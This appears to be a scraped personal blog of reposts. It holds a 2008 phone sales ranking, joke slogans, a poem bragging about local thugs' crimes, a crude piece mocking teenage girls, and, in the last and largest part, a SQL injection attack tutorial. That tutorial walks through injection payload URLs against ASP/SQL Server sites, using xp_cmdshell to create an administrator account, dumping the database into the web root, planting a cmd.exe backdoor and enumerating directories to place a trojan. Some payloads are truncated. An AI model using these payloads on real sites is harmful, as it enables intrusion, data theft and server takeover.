　　诺基亚3110 classic是一款定位低端市场的实用型手机产品，它采用了简单干练的直板造型，机身三围比较适中，十分便于携带。作为一款非智能手机，它的硬件配置和功能表现都比较中规中距，但是它凭借出色的易用性和低廉的价位成为广大消费者非常喜欢的手机产品。

　　屏幕方面，诺基亚3110 classic拥有一块26万色128×160分辨率的屏幕，显示效果比较一般。同时该机仅仅采用了一枚130万像素的摄像头，这样的配置也只能满足用户的日常使用。但是在涉及易用性的细节方面，该机还是颇为用心的，它拥有宽大的按键，并且按键的键程适中，而且基本的通讯功能也都表现出众。

　　编辑点评：
　　诺基亚3110c凭借齐备的基本功能和良好的易用性，在近3个月的全球销量排行榜中一直没有跌出第五名，说明它还是比较受那些坚持实用主义的手机用户的青睐的。目前该机的报价仅为733元，性价比非常不错，想要选购一部实用型手机的朋友可以考虑一下这款产品。

　　诺基亚3110 classic（行货）
　　[参考价格]733元

　　全球销量第四名 iPhone3G
　　对于苹果公司的iPhone3G，相信不用笔者多说，广大消费者也对它有所了解。作为目前最具人气的时尚手机产品，iPhone3G经常是人们谈论的话题之一。此次该机从上月的排行榜首位跌至第四名，也向人们说明一件事：创新是易碎的花瓶。再好的设计也要被新生事物所取代。
　　硬件配置方面，iPhone3G采用了一块3.5英寸1600万色的支持多点触摸的屏幕，显示效果自然非常细腻。同时它采用了稍显落后200万像素的摄像头，这与它身上的时尚前卫风格不符。此外iPhone3G还在I代iPhone的基础上，对手机的功能方面做了一定的改进，比如它增加了对3G网络的支持，并且支持A-GPS导航，就连耳机接口和扬声器这样的细节也做了一定的优化，整体表现还是很不错的。

　　编辑点评：
　　以时尚著称于世的iPhone3G采用了略显圆润的背部造型设计，经过抛光处理的背壳尤其引人注目，所以它自上市以来就一直受到广大时尚一族的追捧和喜欢。目前16GB版iPhone3G的最新报价已经跌破5000元大关，感兴趣的朋友可以多关注一下。
　　16GB版iPhone3G（改版机）
　　[参考价格]4880元

　　全球销量第三名索尼爱立信C702

　　喜欢出去郊游的朋友可能对具有防水防尘等功能的运动型三防手机感兴趣，而索尼爱立信C702就是一款针对那些热衷于户外运动的朋友精心设计的三防手机精品。它拥有主流的320万像素“cyber shot”摄像头，并且支持GPS导航功能，性能表现相当出色。

　　索尼爱立信C702采用了经典的直板造型，非常便于携带。同时它拥有一块2.2英寸26万色分辨率达到QVGA级别的屏幕，显示效果也是十分细腻和清晰的。而且它内置的320万像素自动对焦摄像头是经过Cyber-shot认证的，支持人脸识别等功能，可以帮你记录出行在外的经典瞬间。

　　编辑点评:
　　作为一款防水、防尘和防滑的三防手机，索尼爱立信C702的功能配置是让人比较满意的，再加上最近该机又爆出了最新低价，不足2000元的售价还是使得该机的性价比进一步攀升，对这款Cyber-shot家族的成员感兴趣的朋友可以考虑一下。

　　索尼爱立信C702（行货）
　　[参考价格]1990元
　
　
　　全球销量第二名诺基亚6300

　　诺基亚6300可以说是目前诺基亚中低端手机中非常受人欢迎的一款手机了。它采用了简约的超薄金属直板造型，搭载了易用性非常高的S40操作系统，而且还拥有1600万色的细腻显示屏，再加上低廉的售价，这些促成了该机在全球出色的销量。

　　诺基亚6300采用的2.0英寸1600万色的QVGA分辨率的屏幕，显示效果非常细腻和清晰，同时该机配备了200万像素的摄像头，这也是目前中低端产品的主流配置。此外由于它采用了S40的非智能操作系统，同时配合手感颇佳的键盘，所以该机拥有良好的易用性和迅捷的反应迅速。

　　编辑点评：
　　诺基亚6300拥有干练的直板造型以及采用金属材质打造的超薄机身，而且功能也非常实用，整体表现非常不错。但是让人感到有些遗憾的是，该机的待机时间不太理想，电话量较多的朋友建议再配备一块电池。目前该机的价格为1190元，感兴趣的朋友可以考虑一下。

　　诺基亚6300（行货）
　　[参考价格]1190元

　　全球销量第一名三星i908E

　　三星i908E是一款具有500万像素拍照镜头的WM6.1智能商务手机，继上次初登全球手机销量排行榜后，此次更是凭借非常突出的销量表现，荣登全球销量排行榜第一名。i908E在目前采用最新WM6.1智能系统的手机中，应该算是搭配顶级配置的优秀产品了，再加上该机最近又突破5000元大关，喜欢i908E的朋友可要多多关注了。

　　三星i908E拥有一块3.2英寸QVGA（240*400像素）的可触摸显示屏，并且它支持三星最新Touchwiz技术，显示效果和操控感受都非常不错。另外该机还内置了一枚500万像素的自动对焦镜头，成像质量也让人比较满意，而作为智能商务旗舰，该机还支持GPS导航功能。此外该机采用的是最新Windows Mobile6.1操作系统，并且搭载了一颗624MHz的CPU处理器，所以该机运行程序时也比较流畅。

　　编辑点评：
　　具有顶级配置的三星i908E在内存方面也达到了目前手机中的最高级别，它具有16GB超大容量内存，可以充分满足用户的存储需求。该机自上市以来经过多次价格调整，目前i908E最新的报价为4950元，相信也将进入一个相对稳定的阶段，喜欢该机的朋友不妨考虑一下。
　　三星i908E（行货）
　　[参考价格]4950元
　　总结：
　　此次全球手机销量排行榜中的黑马要属索尼爱立信X1了，而上月排行榜就要良好销量表现的三星i908E更是凭借抢眼的表现一举登上了全球销量冠军的宝座，至于诺基亚新任S60机皇的出现，我们倒是没有感到什么惊讶，并且它具有强大的功能配置和优异的外观设计。而从定位中低端市场的诺基
　　亚6300和3100c的排位变化我们可以看出，消费者还是仍旧喜欢物美价廉的手机产品。笔者希望通过这次的全球销量排行，可以为广大消费者在选购手机时提供一定的参考信息，换机前看看全球的消费者都喜欢什么产品，是值得去做的事情。
　　[责任编辑:miyaliu]

[转]预测2009最可能流行的50句话

215402109@qq.com(伱ê承諾﹎戀) — Sat, 22 Nov 2008 01:18:17 GMT

　　1. 你让我滚，我滚了。你让我回来，对不起，滚远了
　　2. 流氓不可怕，就怕流氓有文化……
　　3. 走牛B的路，让傻B去说吧！
　　4. 开车无难事，只怕有新人！
　　6. 矿难在检讨中继续，楼价在控制中上升！
　　7. XP不发威，你当我是DOS啊！
　　8. 英雄不问出路，流氓不看岁数！
　　9. 好好活着，因为我们会死很久!!!
　　10. 人又不聪明，还学人家秃顶！！
　　11. 没什么事不要找我，有事更不用找我
　　12. 宁和明白人打一架，不跟sb说句话
　　13. 再牛b的肖邦，也弹不出老子的悲伤！
　　14. 只要锄头舞的好，那有墙角挖不倒？
　　15. 连广告也信，读书读傻了吧！
　　16. 要在江湖混，最好是光棍！！
　　17. 不要和我比懒，我懒得和你比。
　　19. 早上长睡不起；晚上视睡如归!
　　21. 女为悦己者容男为悦己者穷！
　　22. 秃驴，敢跟贫道抢师太?
　　23. 犯贱是普遍真理，你我只是其中之一
　　24. 唯女人与英语难过也，唯老婆与工作难找也!
　　25. 赚别人的钱，让贫穷见鬼去吧。
　　26. 就算是believe　中间也藏了一个lie
　　27. 钱不是问题，问题是没钱！
　　30. 怀才就像怀孕，时间久了才能让人看出来。
　　32. 今天心情不好.我只有四句话想说.包括这句和前面的两句.我的话说完了
　　33. 人不能在一棵树上吊死，要在附近几棵树上多死几次试试
　　34. 走别人的路,让别人走投无路
　　35. 思想有多远，你就给我滚多远
　　36. 驴是的念来过倒
　　37. 上Google上百度一下。
　　38. 你以为我会眼睁睁地看着你去送死？我会闭上眼睛的。
　　39. 请你以后不要在我面前说英文了，OK？
　　40. 好久没有人把牛皮吹的这么清新脱俗了！
　　41. 一觉醒来，天都黑了。
　　42. 钱可以解决的问题都不是问题。
　　43. 不吃饱哪有力气减肥啊？
　　44. 问君能有几多愁，恰似一群太监上青楼
　　45. 钞票不是万能的，有时还需要信用卡。
　　46. 我允许你走进我的世界，但决不允许你在我的世界里走来走去。
　　47. 人怕出名猪怕壮，男怕没钱女怕胖。
　　48. 珍惜生活――――上帝还让你活着，就肯定有他的安排。
　　49. 工作的最高境界就是看着别人上班，领着别人的工资。
　　50. 爱情就像便便，水一冲就再也回不来了~爱情就像便便，来了之后挡也挡不住~爱情就像便便，每次都一样又不太一样~爱情就像便便，有时努力了很久却只是个屁！

[转]洪集痞子就是这样~~~

215402109@qq.com(伱ê承諾﹎戀) — Thu, 20 Nov 2008 01:13:35 GMT

下落山上砍过树，清凉寺里盗过墓，此生行尽天涯路，洪集痞子就是酷!
二道河前下过海，洪集车站挂过彩，英雄颜色终不改，洪集痞子就是拽!
政府塘里洗过澡，洪集大街赛过跑，天若有情天亦老，洪集痞子就是叼!
巷道口前打过劫，洪中门口飙过血，意气精魄坚如铁，洪集痞子就是烈!
游戏室里练过武，步行街口嗨过舞，天下英雄皆入土，洪集痞子就是虎!
市政府里当过差，人大会上发过呆，红尘俗事都看开，洪集痞子就是歪!
洪安路上流过汗，皖西宾馆吃过饭，也曾豪赌八百万，洪集痞子就是赞!
水塔九层吹过风，镇长峰会立过功，万山览遍此为峰，洪集痞子就是凶!
派出所里睡过觉，公安局里报过到，曾与将军驱虎豹，洪集痞子就是冒!
老虎机前翻过本，桥头集下吸过粉，千秋家国血未冷，洪集痞子就是狠!
镇前公路赶过场，各大浴池嫖过娼，万里长城万里长，洪集痞子就是强!
菜市场里要过帐，槟榔要吃黑霸王，都说黑道这样狂，洪集痞子就是王!

[转]教你一眼辨别90后女生的绝技

215402109@qq.com(伱ê承諾﹎戀) — Thu, 13 Nov 2008 01:17:33 GMT

　　现在的女人很难辨认年龄，岁数小的打扮的很成熟，半老徐娘又爱装嫩，看上去一脸风尘的没准儿还未成年，穿着一身学生装招摇过市的指不定是学生他妈。。。
　　如何从外貌上一眼辨认出她是不是90后女生？只要这女子具备以下全部特征，那就必定是90后，当然啦，我们只是讨论能不能一眼看出90后，90后的功与过，是与非，还是留给上帝们讨论吧。。。
　　First：走路内八字，如果你在路上看到一位女性，并且她脚部没有残疾，但走路却是内八字，那就基本可以将其划入90后嫌疑人范围内；
　　Second：裤裆低，如果你在路上看到一位女性，她的裤裆拉的足够低，让你根本看不出来她的腿有多长膝盖在哪里，而且这是一条正常的裤子，不是演出服，那就可以将其划入90后嫌疑人范围内；
　　Third：假文身，如果你在路上看到一位女性，并且确认她不是洪星十三妹更不是铜锣湾扛把子陈浩男的女人，但脖子上，脚踝上甚至胸前却有文身，那就可以将其划入90后嫌疑人范围内；
　　Fourth：是烟熏妆，如果你在路上看到一位女性，并且确认她既不是即将参加演唱会的天后巨星，却化着浓重的烟熏妆——多半还画的不怎么细致，没什么风格，那就可以将其划入90后嫌疑人范围内；
　　除了裤裆低，现在很多低腰裤的尺度也令人惊奇，当然啦，男人们是一饱眼福的，而敢穿这样的裤子在大街上行走的，除了做特殊职业的之外，基本上就是敢于尝试新鲜的９０后．．
　　这五条任何一个单独拿出来都不足以判断她的年龄段儿，但是如果综合起来就是一个完整的鉴定书了——如果你在路上看到一位女性，她画着烟熏妆，贴着假文身，裤裆拖着地，漏着屁沟沟，以内八字的脚法向前缓缓移动，那么恭喜你，她就是传说中的90后女生。。。
　　这五条任何一个单独拿出来都不足以判断她的年龄段儿，但是如果综合起来就是一个完整的鉴定书了——如果你在路上看到一位女性，她画着烟熏妆，贴着假文身，裤裆拖着地，漏着屁沟沟，以内八字的脚法向前缓缓移动，那么恭喜你，她就是传说中的90后女生。。。

[转]常用攻击方法之一 (上）

215402109@qq.com(伱ê承諾﹎戀) — Fri, 14 Dec 2007 10:39:52 GMT

随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根

据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。

SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据。

据统计，网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，以SQL-SERVER＋ASP例说明SQL注入的原理、方法与过程。（PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章）

SQL注入攻击的总体思路是：

l 发现SQL注入位置；

l 判断后台数据库类型；

l 确定XP_CMDSHELL可执行情况

l 发现WEB虚拟目录

l 上传ASP木马；

l 得到管理员权限；

一、SQL注入漏洞的判断

一般来说，SQL注入一般存在于形如：HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库，那么就有可能存在SQL注入。如果ASP程序员没有安全意识，不进行必要的字符过滤，存在SQL注入的可能性就非常大。

为了全面了解动态网页回答的信息，首选请调整IE的配置。把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚，以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析，YY可能是整型，也有可能是字符串。

1、整型参数的判断

当输入的参数YY为整型时，通常abc.asp中SQL语句原貌大致如下：

select * from 表名 where 字段=YY，所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY';(附加一个单引号)，此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY'，abc.asp运行异常；

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常，而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同；

③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常；

如果以上三步全面满足，abc.asp中一定存在SQL注入漏洞。

2、字符串型参数的判断

当输入的参数YY为字符串时，通常abc.asp中SQL语句原貌大致如下：

select * from 表名 where 字段='YY'，所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY';(附加一个单引号)，此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY'，abc.asp运行异常；

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常，而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同；

　 ③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常；

如果以上三步全面满足，abc.asp中一定存在SQL注入漏洞。

3、特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。

①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；

②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；

③ASCII码法：可以把输入的部分或全部字符全部用ASCII码代替，如U=chr(85),a=chr(97)等，ASCII信息参见附件二；

二、区分数据库服务器类型

一般来说，ACCESS与SQL－SERVER是最常用的数据库服务器，尽管它们都支持T－SQL标准，但还有不同之处，而且不同的数据库有不同的攻击方法，必须要区别对待。

1、利用数据库服务器的系统变量进行区分

SQL－SERVER有user,db_name()等系统变量，利用这些系统值不仅可以判断SQL-SERVER，而且还可以得到大量有用信息。如：

① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前连接到数据库的用户名

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER，而还可以得到当前正在使用的数据库名；

2、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限，而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句：

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE，则第一条，abc.asp一定运行正常，第二条则异常；若是ACCESS则两条都会异常。

3、 MSSQL三个关键系统表

sysdatabases系统表：Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。

这里我把对于我们有用的字段名称和相关说明给大家列出来。name //表示库的名字。

dbid //表示库的ID，dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

Sysobjects：SQL-SERVER的每个数据库内都有此系统表，它存放该数据库内创建的所有对象，如约束、默认值、日志、规则、存储过程等，每个对象在表中占一行。以下是此系统表的字段名称和相关说明。

Name，id，xtype，uid，status：分别是对象名，对象ID，对象类型，所有者对象的用户ID,对象状态。

对象类型(xtype)。可以是下列对象类型中的一种：

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束（类型是 K）

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

UQ = UNIQUE 约束（类型是 K）

V = 视图

X = 扩展存储过程

当xtype='U' and status>0代表是用户建立的表，对象名就是表名，对象ID就是表的ID值。

用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns ：每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有：

name ，id， colid ：分别是字段名称，表ID号，字段ID号，其中的 ID 是刚上我们用sysobjects得到的表的ID号。

用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省

1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。

3、HTTP://xxx.xxx.xxx/abc.asp?p=YY；exec master..xp_cmdshell "netuser aaa bbb /add"--(master是SQL-SERVER的主数据库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；"—"号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

4、HTTP://xxx.xxx.xxx/abc.asp?p=YY；exec master..xp_cmdshell "net localgroup administrators aaa /add"-- 把刚刚增加的帐户aaa加到administrators组中。

5、HTTP://xxx.xxx.xxx/abc.asp?p=YY；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

6、通过复制CMD创建UNICODE漏洞

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe... dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exec:\inetpub\scripts\cmd.exe"便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

四、发现WEB虚拟目录

只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。

一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot; D:\inetpub\wwwroot;E:\inetpub\wwwroot等，而可执行虚拟目录是：c:\inetpub\scripts; D:\inetpub\scripts;E:\inetpub\scripts等。

二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；

先创建一个临时表：temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255));--

接下来：

（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--

（3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

这样就可以成功的浏览到所有的目录（文件夹）列表：

如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:\web\index.asp';--

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'

浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。

当然，如果xp_cmshell能够执行，我们可以用它来完成：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:\';--

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:\ *.asp /s/a';--

通过xp_cmdshell我们可以看到所有想看到的，包括W3svc

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub\AdminScripts\adsutil.vbs enum w3svc'

但是，如果不是SA权限，我们还可以使用

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意：

1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--

2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)

HTTP://xxx.xxx.xxx/abc.asp?p=YYand (select top& ... nbsp;TestDB.dbo.temp )>0得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然abc.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二条记录id字段的值。